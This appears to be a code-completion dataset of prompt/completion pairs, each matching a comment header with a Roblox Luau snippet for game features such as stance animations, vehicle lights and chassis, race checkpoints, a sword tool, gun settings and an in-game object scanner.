prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--------------------[ STANCE FUNCTIONS ]----------------------------------------------
|
function Stand(OnDeselected)
local LHip = Torso["Left Hip"]
local RHip = Torso["Right Hip"]
local Root = HRP.RootJoint
Stance = 0
if S.StanceAnimation and (not OnDeselected) then
spawn(function()
local PreviousOffset = Humanoid.CameraOffset
local PreviousRootP = Root.C0.p
for X = 0, 90, 1.5 / S.StanceChangeSpeed do
if Stance ~= 0 then break end
local Alpha = Sine(X)
Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[1], Alpha)
Root.C0 = CF(PreviousRootP:lerp(VEC3(), Alpha)) * CFANG(RAD(-90), 0, RAD(180))
RS:wait()
end
end)
TweenJoint(ABWeld, CF(), CF(), Sine, S.StanceChangeSpeed)
TweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.StanceChangeSpeed)
TweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)
elseif OnDeselected then
Humanoid.CameraOffset = StanceOffset[1]
ABWeld.C0 = CF()
ABWeld.C1 = CF()
LHip.C0 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0)
LHip.C1 = CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0)
RHip.C0 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0)
RHip.C1 = CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0)
Root.C0 = CFANG(RAD(-90), 0, RAD(180))
end
end
function Crouch()
local LHip = Torso["Left Hip"]
local RHip = Torso["Right Hip"]
local Root = HRP.RootJoint
Stance = 1
if S.StanceAnimation then
spawn(function()
local PreviousOffset = Humanoid.CameraOffset
local PreviousRootP = Root.C0.p
for X = 0, 90, 1.5 / S.StanceChangeSpeed do
if Stance ~= 1 then break end
local Alpha = Sine(X)
Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[2], Alpha)
Root.C0 = CF(PreviousRootP:lerp(VEC3(0, -1, 0), Alpha)) * CFANG(RAD(-90), 0, RAD(180))
RS:wait()
end
end)
TweenJoint(ABWeld, CF(0, 0, -1 / 16), CF(), Sine, S.StanceChangeSpeed)
TweenJoint(LHip, CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90)), Sine, S.StanceChangeSpeed)
TweenJoint(RHip, CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)
else
Humanoid.CameraOffset = StanceOffset[2]
ABWeld.C0 = CF(0, 0, -1 / 16)
ABWeld.C1 = CF()
LHip.C0 = CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0)
LHip.C1 = CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90))
RHip.C0 = CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0)
RHip.C1 = CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0)
Root.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, RAD(180))
end
end
function Prone()
local LHip = Torso["Left Hip"]
local RHip = Torso["Right Hip"]
local Root = HRP.RootJoint
Stance = 2
if S.StanceAnimation then
spawn(function()
local PreviousOffset = Humanoid.CameraOffset
local PreviousRootP = Root.C0.p
for X = 0, 90, 1.5 / S.StanceChangeSpeed do
if Stance ~= 2 then break end
local Alpha = Sine(X)
Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[3], Alpha)
Root.C0 = CF(PreviousRootP:lerp(VEC3(0, -2.5, 1), Alpha)) * CFANG(RAD(180), 0, RAD(180))
RS:wait()
end
end)
TweenJoint(ABWeld, CF(0, 0, -1 / 8), CF(), Sine, S.StanceChangeSpeed)
TweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.StanceChangeSpeed)
TweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)
else
Humanoid.CameraOffset = StanceOffset[3]
ABWeld.C0 = CF(0, 0, -1 / 8)
ABWeld.C1 = CF()
LHip.C0 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0)
LHip.C1 = CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0)
RHip.C0 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0)
RHip.C1 = CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0)
Root.C0 = CF(0, -2.5, 1) * CFANG(RAD(180), 0, RAD(180))
end
end
function Dive(Speed)
local DiveVelocity = (HRP.CFrame * CFANG(RAD(18),0,0)).lookVector * Speed * (35 / 16) * 4e3
HRP.Velocity = VEC3()
Torso.Velocity = VEC3()
local BF = Instance.new("BodyForce")
BF.force = DiveVelocity
BF.Parent = HRP
delay(0.05, function()
Prone()
local Start = tick()
while true do
wait()
if (tick() - Start) > 0.1 then break end
BF.force = -HRP.Velocity * 700
end
BF:Destroy()
end)
end
|
--[[ Module Functions ]]
|
--
Chassis = {}
Chassis.root = PackagedVehicle:FindFirstChild("Chassis") --the root of the Chassis model
Chassis.Body = PackagedVehicle:FindFirstChild("Body") -- the body of the Chassis model
Chassis.driverSeat = Chassis.root:FindFirstChildOfClass("VehicleSeat")
Chassis.passengerSeats = {
Chassis.root:FindFirstChild("SeatFR"),
Chassis.root:FindFirstChild("SeatRL"),
Chassis.root:FindFirstChild("SeatRR")
}
local randomSuspension = Chassis.root:FindFirstChild("SuspensionFL")
local wheelRadius = randomSuspension.Wheel.Size.y/2
Chassis.driverSeat.MaxSpeed = VehicleParameters.MaxSpeed * wheelRadius
function Chassis.InitializeDrivingValues()
-- Constraint tables always ordered FL, FR, RL, RR
Motors = getVehicleMotors()
local strutSpringsFront = getSprings("StrutFront")
local strutSpringsRear = getSprings("StrutRear")
local torsionSprings = getSprings("TorsionBar")
RedressMount = Chassis.root:WaitForChild("RedressMount")
SteeringPrismatic = constraints:FindFirstChild("SteeringPrismatic")
SteeringPrismatic.UpperLimit = VehicleParameters.MaxSteer
SteeringPrismatic.LowerLimit = -VehicleParameters.MaxSteer
for _,s in pairs(strutSpringsFront) do
adjustSpring(s, ActualStrutSpringStiffnessFront, ActualStrutSpringDampingFront)
end
for _,s in pairs(strutSpringsRear) do
adjustSpring(s, ActualStrutSpringStiffnessRear, ActualStrutSpringDampingRear)
end
for _,s in pairs(torsionSprings) do
adjustSpring(s, ActualTorsionSpringStiffness, ActualTorsionSpringDamping)
end
local chassisChildren = Chassis.root:GetChildren()
for i = 1, #chassisChildren do
local model = chassisChildren[i]
if model:IsA("Model") then
local wheel = model:FindFirstChild("Wheel")
if wheel then
local old = wheel.CustomPhysicalProperties
local new = PhysicalProperties.new(old.Density, VehicleParameters.WheelFriction, old.Elasticity, old.FrictionWeight, old.ElasticityWeight)
wheel.CustomPhysicalProperties = new
end
end
end
setMotorTorque(10000)
end
function Chassis.GetDriverSeat()
return Chassis.driverSeat
end
function Chassis.GetPassengerSeats()
return Chassis.passengerSeats
end
function Chassis.GetBase()
return Chassis.root.PrimaryPart or Chassis.root:FindFirstChild("FloorPanel")
end
|
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================
|
function Checkpoint.new(collisionBody, manager)
assert(collisionBody, "Trying to set partless checkpoint")
local newCheckpoint = {CollisionBody = collisionBody, Manager = manager}
setmetatable(newCheckpoint, Checkpoint)
newCheckpoint.PlayersTouched = {}
newCheckpoint.CollisionBody.Touched:connect(function(otherPart)
if otherPart and otherPart.Parent then
local player = game.Players:GetPlayerFromCharacter(otherPart.Parent)
if player then
newCheckpoint.Manager:PlayerCrossedCheckpoint(player, newCheckpoint)
end
end
end)
newCheckpoint.CollisionConnection = nil
return newCheckpoint
end -- Checkpoint.new()
function Checkpoint:Reset()
self.PlayersTouched = {}
end -- Checkpoint:Reset()
function Checkpoint:SetPlayerPassed(player, lapNumber)
local alreadyPassed = (self.PlayersTouched[player] == lapNumber)
self.PlayersTouched[player] = lapNumber
return alreadyPassed
end -- Checkpoint:SetPlayerPassed()
function Checkpoint:PlayerLapPassed(player)
return self.PlayersTouched[player]
end -- Checkpoint:PlayerLapPassed()
|
-- body.FB.BrickColor = bool and BrickColor.new("Pearl") or BrickColor.new("Fossil")
-- body.FB.Material = bool and "Neon" or "SmoothPlastic"
|
hb(bool)
body.RB.BrickColor = bool and BrickColor.new("Really red") or BrickColor.new("Crimson")
body.RB.Material = bool and "Neon" or "SmoothPlastic"
tk.RB.BrickColor = bool and BrickColor.new("Really red") or BrickColor.new("Crimson")
tk.RB.Material = bool and "Neon" or "SmoothPlastic"
body.FB.Light.Enabled = bool
car.DriveSeat.Lights.Value = bool
elseif lights == 'reverse' then
body.RV.BrickColor = bool and BrickColor.new("Pearl") or BrickColor.new("Fossil")
body.RV.Material = bool and "Neon" or "SmoothPlastic"
end
end
function optwait(sec,opt)
if opt then
wait(sec)
end
end
local b = ''
function Runner(dir,tog)
if dir == 'Left' then
body.LeftIn.Material = tog and "Neon" or "SmoothPlastic"
body.LeftIn.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.L1.Material = tog and "Neon" or "SmoothPlastic"
body.L1.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.L2.Material = tog and "Neon" or "SmoothPlastic"
body.L2.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.L3.Material = tog and "Neon" or "SmoothPlastic"
body.L3.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
elseif dir == 'Right' then
body.RightIn.Material = tog and "Neon" or "SmoothPlastic"
body.RightIn.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.R1.Material = tog and "Neon" or "SmoothPlastic"
body.R1.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.R2.Material = tog and "Neon" or "SmoothPlastic"
body.R2.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.R3.Material = tog and "Neon" or "SmoothPlastic"
body.R3.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
elseif dir == 'Hazards' then
body.LeftIn.Material = tog and "Neon" or "SmoothPlastic"
body.LeftIn.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.RightIn.Material = tog and "Neon" or "SmoothPlastic"
body.RightIn.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.L1.Material = tog and "Neon" or "SmoothPlastic"
body.L1.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.R1.Material = tog and "Neon" or "SmoothPlastic"
body.R1.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.L2.Material = tog and "Neon" or "SmoothPlastic"
body.L2.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.R2.Material = tog and "Neon" or "SmoothPlastic"
body.R2.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.L3.Material = tog and "Neon" or "SmoothPlastic"
body.L3.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
body.R3.Material = tog and "Neon" or "SmoothPlastic"
body.R3.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl")
end
end
function Toggle(dir, tog)
if dir == 'Left' then
car.Misc.FL.Door.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic"
car.Misc.FL.Door.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.DriveSeat.LI.Value = tog
tk.l1.Material = tog and "Neon" or "SmoothPlastic"
tk.l1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.L1.Material = tog and "Neon" or "SmoothPlastic"
body.L1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
--optwait(1/27,tog)
body.l2.Material = tog and "Neon" or "SmoothPlastic"
body.l2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.L2.Material = tog and "Neon" or "SmoothPlastic"
body.L2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
--optwait(1/27,tog)
body.l3.Material = tog and "Neon" or "SmoothPlastic"
body.l3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.L3.Material = tog and "Neon" or "SmoothPlastic"
body.L3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
elseif dir == 'Right' then
car.Misc.FR.Door.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic"
car.Misc.FR.Door.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.DriveSeat.RI.Value = tog
tk.r1.Material = tog and "Neon" or "SmoothPlastic"
tk.r1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.R1.Material = tog and "Neon" or "SmoothPlastic"
body.R1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
--optwait(1/27,tog)
body.r2.Material = tog and "Neon" or "SmoothPlastic"
body.r2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.R2.Material = tog and "Neon" or "SmoothPlastic"
body.R2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
--optwait(1/27,tog)
body.r3.Material = tog and "Neon" or "SmoothPlastic"
body.r3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.R3.Material = tog and "Neon" or "SmoothPlastic"
body.R3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
elseif dir == 'Hazards' then
car.Misc.FL.Door.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic"
car.Misc.FL.Door.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.Misc.FR.Door.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic"
car.Misc.FR.Door.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
car.DriveSeat.LI.Value = tog
car.DriveSeat.RI.Value = tog
tk.l1.Material = tog and "Neon" or "SmoothPlastic"
tk.l1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
tk.r1.Material = tog and "Neon" or "SmoothPlastic"
tk.r1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.L1.Material = tog and "Neon" or "SmoothPlastic"
body.L1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.R1.Material = tog and "Neon" or "SmoothPlastic"
body.R1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
--optwait(1/27,tog)
body.l2.Material = tog and "Neon" or "SmoothPlastic"
body.l2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.r2.Material = tog and "Neon" or "SmoothPlastic"
body.r2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.L2.Material = tog and "Neon" or "SmoothPlastic"
body.L2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.R2.Material = tog and "Neon" or "SmoothPlastic"
body.R2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
--optwait(1/27,tog)
body.l3.Material = tog and "Neon" or "SmoothPlastic"
body.l3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.r3.Material = tog and "Neon" or "SmoothPlastic"
body.r3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.L3.Material = tog and "Neon" or "SmoothPlastic"
body.L3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
body.R3.Material = tog and "Neon" or "SmoothPlastic"
body.R3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl")
end
end
function blink(typ)
b = typ
if blinking == true then
blinking = false
else
blinking = true
Runner(typ, false)
while blinking do
Toggle(typ, true)
script.Parent:FireClient(player, 'blink', .9, true)
wait(1/3)
Toggle(typ, false)
script.Parent:FireClient(player, 'blink', 0.8, true)
wait(1/3)
end
Toggle(typ, false)
script.Parent:FireClient(player, 'blink', .9, false)
wait(1/9)
Runner(typ, true)
end
end
script.Parent.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") and BlinkersEnabled then
if blinking == true and b == 'Hazards' then
return
else
blinking = false
end
end
end)
F.blinkers = function(dir)
blink(dir)
end
F.drl = function(x)
Runner('Hazards', x)
end
F.flash = function()
Toggle('Hazards', true)
wait(1/3)
Toggle('Hazards', false)
end
script.Parent.OnServerEvent:connect(function(pl,Fnc,...)
player = pl
F[Fnc](...)
end)
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
PlaySound = Tool:WaitForChild("PlaySound")
PlaySound.Value = ""
PlaySound.Changed:connect(function()
if PlaySound.Value ~= "" then
local Sound = Handle:FindFirstChild(PlaySound.Value)
if Sound then
Sound:Play()
end
PlaySound.Value = ""
end
end)
|
-- Create leaderboard
|
_table = leaderboard.new()
_table.Populate()
|
--Fixed by Luckymaxer
--Updated for R15 Avatars by StarWars
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")
black = BrickColor.new("Really black")
DamageValues = {
BaseDamage = 5,
SlashDamage = 10,
LungeDamage = 20
}
Damage = DamageValues.BaseDamage
Sounds = {
Slash = Handle:WaitForChild("SwordSlash"),
Lunge = Handle:WaitForChild("SwordLunge"),
Unsheath = Handle:WaitForChild("Unsheath")
}
Animations = {
Slash = Tool:WaitForChild("Slash"),
R15Slash = Tool:WaitForChild("R15Slash")
}
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Hit or not Hit.Parent or not Character or not Humanoid or Humanoid.Health == 0 then
return
end
local humanoid = Hit.Parent:FindFirstChildOfClass("Humanoid")
if humanoid and humanoid ~= Humanoid and humanoid.Health > 0 then
local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local player = game.Players:FindFirstChild(Hit.Parent.Name)
local myteam = Player.TeamColor
local theirteam = player.TeamColor
local RightGrip = RightArm:FindFirstChild("RightGrip")
if (RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle)) then
if player and player ~= Player and not Player.Neutral and not player.Neutral and (myteam ~= theirteam or (myteam == black and theirteam == black)) then
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
humanoid:TakeDamage(Damage)
end
end
end
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
local Animation = Animations.Slash
if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then
Animation = Animations.R15Slash
end
InvokeClient("PlayAnimation", {Animation = Animation, Speed = 1.5})
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
local Force = Instance.new("BodyVelocity")
if Torso and Torso.Parent then
Force.velocity = Vector3.new(0, 100, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.25)
Force.Parent = Torso
end
wait(0.25)
if Torso and Torso.Parent then
Force.velocity = (Torso.CFrame.lookVector * 120) + Vector3.new(0, 60, 0)
end
wait(0.5)
if Force and Force.Parent then
Force:Destroy()
end
wait(0.5)
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Tool.Enabled = true
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
if not Player or not Humanoid or Humanoid.Health == 0 or not Torso then
return
end
Sounds.Unsheath:Play()
end
Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Connection = Handle.Touched:connect(Blow)
|
--
|
function Sword:Initialize()
Sword:Connect()
end
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.EggStaff -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
-- << LOCAL FUNCTIONS >>
|
local function updateNotices(newNotice)
for i,notice in pairs(currentNotices) do
if not notice.Complete.Value then
local tweenInfo = tweenInfoUp
local destination
if i == 1 then
destination = template.Position + UDim2.new(0,-notice.Size.X.Offset,0,0)
else
local noticeBefore = currentNotices[i-1]
destination = UDim2.new(notice.Position.X.Scale, notice.Position.X.Offset, notice.Position.Y.Scale, template.Position.Y.Offset-((i-1)*(template.Size.Y.Offset+5)))
end
if destination.Y.Offset > notice.Position.Y.Offset then
tweenInfo = tweenInfoDown
end
if destination then
main.tweenService:Create(notice, tweenInfo, {Position = destination}):Play()
end
end
end
end
local function endNotice(notice)
if notice:FindFirstChild("Complete") and not notice.Complete.Value then
notice.Complete.Value = true
for i,v in pairs(currentNotices) do
if v == notice then
table.remove(currentNotices, i)
local tween = main.tweenService:Create(notice, tweenInfoEnd, {Position = notice.Position + UDim2.new(0,(notice.Size.X.Offset-XOffset),0,0)})
tween:Play()
tween.Completed:Wait()
notice:Destroy()
end
end
end
updateNotices()
end
local function Queue()
if noticeDe then
noticeDe = false
repeat wait()
if #noticeQueue > 0 then
local notice = noticeQueue[1]
notice.Parent = notices
if notice.NoticeType.Value == "Error" then
main.audio.Error:Play()
else
main.audio.Notice:Play()
end
table.insert(currentNotices, 1, notice)
--
if notice.Countdown.Value < 900 then
spawn(function()
if notice.Countdown.Value > 0 then
local alignTime = os.time()
repeat wait() until os.time() ~= alignTime
local originalDesc = notice.Desc.Text
for i = 1, notice.Countdown.Value do
if not notice:FindFirstChild("Desc") or notice.Desc.Text == "Teleporting..." then
break
end
notice.Desc.Text = originalDesc.." ("..notice.Countdown.Value+1-i..")"
wait(1)
end
else
local startTick = tick()
repeat wait(0.1) until tick() - startTick >= maxTime
end
endNotice(notice)
end)
end
--
updateNotices(true)
--
wait(waitTime)
table.remove(noticeQueue,1)
end
until #noticeQueue < 1
noticeDe = true
end
end
|
--[[
Returns the index of the first value found or nil if not found.
]]
|
local function find(list, value)
for i = 1, #list do
if list[i] == value then
return i
end
end
return nil
end
return find
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = false
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 6.5
,GunFOVReduction = 5.5
,BoltExtend = Vector3.new(0, 0, 0.4)
,SlideExtend = Vector3.new(0, 0, 0.4)
|
--Made by Repressed_Memories
-- Edited by Truenus
|
local component = script.Parent.Parent
local car = script.Parent.Parent.Parent.Parent.Car.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local leftsignal = "z"
local rightsignal = "c"
local hazards = "x"
local hazardson = false
local lefton = false
local righton = false
local leftlight = car.Body.Lights.Left.TurnSignal.TSL
local rightlight = car.Body.Lights.Right.TurnSignal.TSL
local leftfront = car.Body.Lights.Left.TurnSignal2
local rightfront = car.Body.Lights.Right.TurnSignal2
local signalblinktime = 0.32
local neonleft = car.Body.Lights.Left.TurnSignal
local neonright = car.Body.Lights.Right.TurnSignal
local off = BrickColor.New("Mid gray")
local on = BrickColor.New("Deep orange")
mouse.KeyDown:connect(function(lkey)
local key = string.lower(lkey)
if key == leftsignal then
if lefton == false then
lefton = true
repeat
neonleft.BrickColor = on
leftfront.BrickColor = on
leftlight.Enabled = true
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonleft.BrickColor = off
leftfront.BrickColor = off
component.TurnSignal:play()
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
leftlight.Enabled = false
wait(signalblinktime)
until
lefton == false or righton == true
elseif lefton == true or righton == true then
lefton = false
component.TurnSignal:stop()
leftlight.Enabled = false
end
elseif key == rightsignal then
if righton == false then
righton = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
rightlight.Enabled = true
neonright.Material = "Neon"
rightfront.Material = "Neon"
component.TurnSignal:play()
wait(signalblinktime)
neonright.BrickColor = off
rightfront.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
rightlight.Enabled = false
wait(signalblinktime)
until
righton == false or lefton == true
elseif righton == true or lefton == true then
righton = false
component.TurnSignal:stop()
rightlight.Enabled = false
end
elseif key == hazards then
if hazardson == false then
hazardson = true
repeat
neonright.BrickColor = on
rightfront.BrickColor = on
neonleft.BrickColor = on
leftfront.BrickColor = on
neonright.Material = "Neon"
rightfront.Material = "Neon"
neonleft.Material = "Neon"
leftfront.Material = "Neon"
component.TurnSignal:play()
rightlight.Enabled = true
leftlight.Enabled = true
wait(signalblinktime)
neonright.BrickColor = off
rightfront.BrickColor = off
neonleft.BrickColor = off
leftfront.BrickColor = off
component.TurnSignal:play()
neonright.Material = "SmoothPlastic"
rightfront.Material = "SmoothPlastic"
neonleft.Material = "SmoothPlastic"
leftfront.Material = "SmoothPlastic"
rightlight.Enabled = false
leftlight.Enabled = false
wait(signalblinktime)
until
hazardson == false
elseif hazardson == true then
hazardson = false
component.TurnSignal:stop()
rightlight.Enabled = false
leftlight.Enabled = false
end
end
end)
|
--[=[
Gets a sub-datastore that will write at the given name point
@param name string
@return DataStoreStage
]=]
|
function DataStoreStage:GetSubStore(name)
assert(type(name) == "string", "Bad name")
if self._stores[name] then
return self._stores[name]
end
if self._takenKeys[name] then
error(("[DataStoreStage.GetSubStore] - Already have a writer for %q"):format(name))
end
local newStore = DataStoreStage.new(name, self)
self._takenKeys[name] = true
self._maid:GiveTask(newStore)
self._stores[name] = newStore
return newStore
end
|
-- print("Hidden object "..i.Name.." detected in "..getAncestry(i).." ("..i.className..")") --not necessarily malicious, but may be. Remove only if you didn't except the object to be in there
|
end
end
end
end
_G["ScanForViruses"] = function(m,n,w)
local s = ""
for a = 1, n do
s = s.."- - "
end
if m == nil then return end
if m == game.Stats then return end
if m.Name == "GuiRoot" and m.Parent == game then return end
if printAll then print(s.."Scanning children of "..m.Name) end
local c = m:getChildren()
if #c > 0 then
for i = 1,#c do
Check(c[i],n+1,w)
if (c[i] == game.Workspace) then
ScanForViruses(c[i],n+1,true)
else
ScanForViruses(c[i],n+1,w)
end
end
end
end
ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild("Teams"),1,true)
ScanForViruses(game.Soundscape,1,true)
|
-- Set Pet Canvas Size --
|
function PetSrollingFrame:SetPetCanvasSize(Frame, searchOn)
local UIGridLayout2 = Frame.UIGridLayout
TradeMenuUI.Size = UDim2.new(0.55, 0, 0.925, 0)
local PADDING, SIZE, MaxCells = getPetSizes()
local AbsoluteSize = Frame.AbsoluteSize
local NewPadding = PADDING * AbsoluteSize
NewPadding = UDim2.new(0, NewPadding.X, 0, NewPadding.Y)
local NewSize = SIZE * AbsoluteSize
NewSize = UDim2.new(0, NewSize.X, 0, NewSize.Y)
UIGridLayout2.CellPadding = NewPadding
UIGridLayout2.CellSize = NewSize
local children = Frame:GetChildren()
local items = 0
if searchOn == true then
for _, v in pairs(Frame:GetChildren()) do
